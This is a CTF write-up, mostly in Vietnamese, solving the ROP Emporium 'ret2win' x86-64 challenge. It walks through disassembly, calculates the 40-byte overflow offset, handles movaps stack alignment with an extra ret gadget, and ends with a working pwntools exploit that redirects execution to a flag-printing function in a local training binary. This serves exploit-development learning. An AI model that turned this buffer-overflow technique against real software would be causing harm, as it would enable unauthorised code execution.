ret2win - challenge 1
binary file and my exploit code
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/ROP/Chall1$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
Main func:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("ret2win by ROP Emporium");
puts("x86_64\n");
pwnme();
puts("\nExiting");
return 0;
}
pwnme func:
int pwnme()
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
memset(s, 0, sizeof(s));
puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
puts("What could possibly go wrong?");
puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
printf("> ");
read(0, s, 0x38uLL);
return puts("Thank you!");
}
Trong đấy vẫn còn 1 hàm nữa, và có lẽ đây là key for win:
int ret2win()
{
puts("Well done! Here's your flag:");
return system("/bin/cat flag.txt");
}
Đúng như cái tên nó và vì có lẽ đây là chall 1 trong chuỗi ROP Emporium nên khá dễ để ret 2 win
Debug:
pwndbg> checksec
[*] '/mnt/d/pwn_myself/ROP/Chall1/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400838
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x400898
0x0000000000400715 <+45>: call 0x400550 <puts@plt>
0x000000000040071a <+50>: mov edi,0x4008b8
0x000000000040071f <+55>: call 0x400550 <puts@plt>
0x0000000000400724 <+60>: mov edi,0x400918
0x0000000000400729 <+65>: mov eax,0x0
0x000000000040072e <+70>: call 0x400570 <printf@plt>
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
0x0000000000400749 <+97>: mov edi,0x40091b
0x000000000040074e <+102>: call 0x400550 <puts@plt>
0x0000000000400753 <+107>: nop
0x0000000000400754 <+108>: leave
0x0000000000400755 <+109>: ret
End of assembler dump.
Bây giờ ta sẽ đặt breakpoint tại call read để xem địa chỉ ta nhập vào được lưu ở đâu, và tại ret để xem cần ghi đè bao nhiêu bytes để tới được return address.
pwndbg> disass ret2win
Dump of assembler code for function ret2win:
0x0000000000400756 <+0>: push rbp
0x0000000000400757 <+1>: mov rbp,rsp
0x000000000040075a <+4>: mov edi,0x400926
0x000000000040075f <+9>: call 0x400550 <puts@plt>
0x0000000000400764 <+14>: mov edi,0x400943
0x0000000000400769 <+19>: call 0x400560 <system@plt>
0x000000000040076e <+24>: nop
0x000000000040076f <+25>: pop rbp
0x0000000000400770 <+26>: ret
End of assembler dump.
Lưu địa chỉ hàm ret2win
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
► 0x400744 <pwnme+92> call read@plt <read@plt>
fd: 0x0 (/dev/pts/0)
buf: 0x7fffffffe0a0 ◂— 0x0
nbytes: 0x38
0x400749 <pwnme+97> mov edi, 0x40091b
0x40074e <pwnme+102> call puts@plt <puts@plt>
0x400753 <pwnme+107> nop
0x400754 <pwnme+108> leave
0x400755 <pwnme+109> ret
0x400756 <ret2win> push rbp
0x400757 <ret2win+1> mov rbp, rsp
0x40075a <ret2win+4> mov edi, 0x400926
0x40075f <ret2win+9> call puts@plt <puts@plt>
0x400764 <ret2win+14> mov edi, 0x400943
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rax rsi rsp 0x7fffffffe0a0 ◂— 0x0
... ↓ 3 skipped
04:0020│ rbp 0x7fffffffe0c0 —▸ 0x7fffffffe0d0 ◂— 0x1
0x400754 <pwnme+108> leave
► 0x400755 <pwnme+109> ret <0x4006d7; main+64>
↓
0x4006d7 <main+64> mov edi, 0x400828
0x4006dc <main+69> call puts@plt <puts@plt>
0x4006e1 <main+74> mov eax, 0
0x4006e6 <main+79> pop rbp
0x4006e7 <main+80> ret
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe0c8 —▸ 0x4006d7 (main+64) ◂— mov edi, 0x400828
01:0008│ rbp 0x7fffffffe0d0 ◂— 0x1
>>> str = 0x7fffffffe0a0
>>> ret = 0x7fffffffe0c8
>>> ret - str
40
Ta cần điền 40 bytes vào để ghi đè tới ret sau đó sẽ ghi đè ret thành địa chỉ hàm ret2win = 0x0000000000400756
Tuy nhiên vì đây là kiến trúc 64-bit:
The MOVAPS issue
If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
Do đó ta cần tìm địa chỉ lệnh ret với ROPgadget
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/ROP/Chall1$ ROPgadget --binary ret2win | grep "ret"
0x00000000004005df : add bl, dh ; ret
0x00000000004007ed : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004007eb : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006e2 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000400616 : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000400615 : add byte ptr [rax], r8b ; pop rbp ; ret
0x0000000000400677 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040053b : add esp, 8 ; ret
0x000000000040053a : add rsp, 8 ; ret
0x00000000004007cc : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400754 : leave ; ret
0x0000000000400672 : mov byte ptr [rip + 0x2009e7], 1 ; pop rbp ; ret
0x00000000004006e1 : mov eax, 0 ; pop rbp ; ret
0x0000000000400753 : nop ; leave ; ret
0x000000000040076e : nop ; pop rbp ; ret
0x0000000000400613 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000400655 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400675 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004007dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007e0 : pop r14 ; pop r15 ; ret
0x00000000004007e2 : pop r15 ; ret
0x00000000004007db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007df : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400618 : pop rbp ; ret
0x00000000004007e3 : pop rdi ; ret
0x00000000004007e1 : pop rsi ; pop r15 ; ret
0x00000000004007dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret
0x0000000000400542 : ret 0x200a
0x0000000000400535 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004007f5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004007f4 : sub rsp, 8 ; add rsp, 8 ; ret
ret address = 0x000000000040053e
Exploit:
from pwn import *
r = process("./ret2win")
payload = b'A'*40 +p64(0x40053e)+ p64(0x400756)
r.sendline(payload)
r.interactive()